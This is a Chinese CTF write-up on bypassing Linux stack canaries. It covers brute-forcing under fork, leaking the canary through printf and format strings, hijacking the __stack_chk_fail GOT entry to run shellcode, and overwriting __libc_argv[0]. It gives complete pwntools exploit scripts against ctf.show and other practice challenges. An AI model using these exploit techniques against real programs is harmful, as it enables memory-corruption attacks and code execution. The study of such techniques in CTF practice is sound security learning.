canary保护概述:
我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。
来自ctf wiki
如何判断程序是否开启canary:
1.通过checksec来看,但是经常不准确。
2.IDA反汇编:

v2很明显就是个canary,特征是最后一行__readfsqword(0x28u) ^ v2;
汇编代码如下图所示,红框内就是__readfsqword(0x28u) ^ v2,含义是将canary与初始值进行异或,看判断没有被修改:

canary绕过
爆破
爆破canary的条件非常苛刻,因为canary的运行机制是只要检测到canary有被篡改,程序就会直接中止。通常要爆破canary的情况是用一个while死循环来调用fork函数创建子进程,子进程的canary跟父进程一致,子程序中止后回到父进程继续创建子进程,所以才具备爆破canary的可能性:

爆破模板(64位):
canary = b'\x00'
for k in range(7):
for i in range(256):
payload = b'a' * 0x68 + canary + bytes([i])
io.send(payload)
data = io.recvuntil('welcome\n')
print(data)
if b"fun" in data:
canary += bytes([i])
print("canary is:" + str(canary))
break
例题详见:2023CISCN funcanary:
2023CISCN PWN部分WP – n0ps1ed’s website
printf泄露canary
利用printf不遇到\x00不终止的特点,如果把canary的最低字节\x00覆盖了,就能在打印时候顺带把它打印出来,然后减去用来覆盖\x00的那一字节的值,就能得到canary原值。
例题:
某校网安实践(三)比赛|PWN – n0ps1ed’s website(第二题)
格式化字符串泄露canary
利用格式化字符串漏洞来精准泄露canary
例题:CTFSHOW PWN入门 PWN98

很明显的fmt和stack overflow。而且很容易看出来这v2就是canary

var_C就是v2,将它与large gs:14h进行异或操作,等于0就通过检测,也就是看这两相不相等。
偏移是5:

s有40字节,32位的话是4字节一单位,那就是十个单位,加上偏移的5就是15
求canary1,canary2,canary3:
payload=b'%14$p%15$p%16$p'
p.sendline(payload)
p.recvuntil('0x')
canary1=b'0x'+p.recvuntil('0x',drop=True)
canary2=b'0x'+p.recvuntil('0x',drop=True)
canary3=b'0x'+p.recv()
print(canary1)
print(canary2)
print(canary3)

但是行不通,后来发现犯了个低级错误,canary是位置在ebp-0xC,它长度又不是0xC,只是4字节而已,所以直接就是%15$p


from pwn import*
from LibcSearcher import*
#连接远程
context(arch = 'i386',os = 'linux',log_level = 'debug')
p=remote("pwn.challenge.ctf.show",28260)
elf=ELF('/home/monke/ctfshowpwn/pwn')
#求canary
payload=b'%14$p%15$p%16$p'
p.sendline(payload)
p.recvuntil('0x')
canary1=b'0x'+p.recvuntil('0x',drop=True)
canary2=b'0x'+p.recvuntil('0x',drop=True)
canary3=b'0x'+p.recv()
print(canary1)
print(canary2)
print(canary3)
backdoor= elf.sym['__stack_check']
payload2=cyclic(36)+p32(int(canary1,16))+p32(int(canary2,16))+p32(int(canary3,16))+cyclic(8)+p32(backdoor)
p.sendline(payload2)
p.interactive()
我的exp里面canary1和canary3都是不必要的,改不改都行。
劫持___stack_chk_fail函数绕过canary
原理:检测到canary被篡改后,程序会调用___stack_chk_fail函数来退出程序,如图:

如果能篡改GOT表中___stack_chk_fail的值为目标函数的值,在触发canary篡改检测时就会调用目标函数而不是___stack_chk_fail。
例题:2024源鲁杯 canary_orw
main函数,有沙箱,禁用了execve,有溢出。

函数vuln:

gadget:

vuln第一个read可以溢出到v3,也就是可以控制下一个sys_read的写入地址,相当于能任意地址写8字节,最后还有一个足够长的溢出。
所以思路就是,先在main函数中溢出覆盖ret到vuln,然后第一个read篡改v3为___stack_chk_fail的got表地址,下一个sys_read往___stack_chk_fail的got表地址写入ret指令地址。(这样触发canary检测时候就会ret回来)。最后一个read往覆盖返回地址为jmp rsp,然后后面紧跟上shellcode。
程序流执行流程是,先从main到vuln,然后第一个read+第二个read把___stack_chk_fail篡改为ret,第三个read把返回地址覆盖成jmp rsp,后面接上shellcode,同时触发canary篡改检测。程序调用___stack_chk_fail,实际上调用了ret,继续回到原vuln函数,然后就是leave,此时rsp指向返回地址(值为 jmp rsp指令的地址),接着执行ret,pop返回地址的值给eip,esp向上移动一个单位,正好指向shellcode,然后eip执行 jmp rsp,程序就会执行shellcode。
可以参照图来看:

完整exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r=process("/home/monke/PWN/CHB/canary")
elf=ELF("/home/monke/PWN/CHB/canary")
jmp_rsp = 0x40081B
check = elf.got['__stack_chk_fail']
main = elf.sym['main']
ret=0x4006ae
shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, 0x601060, 0x30)
shellcode += shellcraft.write(1, 0x601060,0x30)
r.sendlineafter(b'journey', p64(elf.sym['vuln']))
#gdb.attach(r)
r.sendafter(b'Sea', b'a' * 0x8 + p64(elf.got['__stack_chk_fail']))
#gdb.attach(r)
r.sendafter(b'magic', p64(ret))
r.sendafter(b'go',b'a'*40+p64(jmp_rsp) + asm(shellcode))
r.interactive()

覆盖__libc_argv[0]
原理:由于canary检测篡改后会调用stack_chk_fail函数,其中一个参数是文件名,即“__libc_argv[0]”,将此覆盖就能输出特定内容。
例题1:ctfshow pwn117

逻辑非常简单,debug算出gets时候的栈地址和__libc_argv[0]距离即可,但我算不对,直接爆破:
exp:
from pwn import *
context(arch='amd64', os='linux',log_level='info')
#io = process('./pwn')
flag = 0x6020A0 #buf
def pwn(i):
print(i)
io.recvuntil('Haha,It has reduced you a lot of difficulty!')
payload = cyclic(i) + p64(flag)
io.sendline(payload)
print(io.recvall())
io.close()
for i in range(280,1000):
io = remote('pwn.challenge.ctf.show',28214)
pwn(i)
sleep(0.1)

例题2:网鼎杯2018_guess
这题flag不是存在bss段而是存在栈上,所以需要计算flag地址,所幸题目使用fork给了三次机会。
第一次fork覆盖__libc_argv[0]为puts的got表地址,计算libc基址,进而计算environ地址(environ存了栈基址)
第二次fork覆盖__libc_argv[0]environ地址,泄露出栈基址,计算flag地址
第三次fork覆盖__libc_argv[0]为flag地址,成功泄露。
详细见:[BUUCTF]PWN——wdb2018_guess(stack smashing–canary报错利用)_buuctf canary-CSDN博客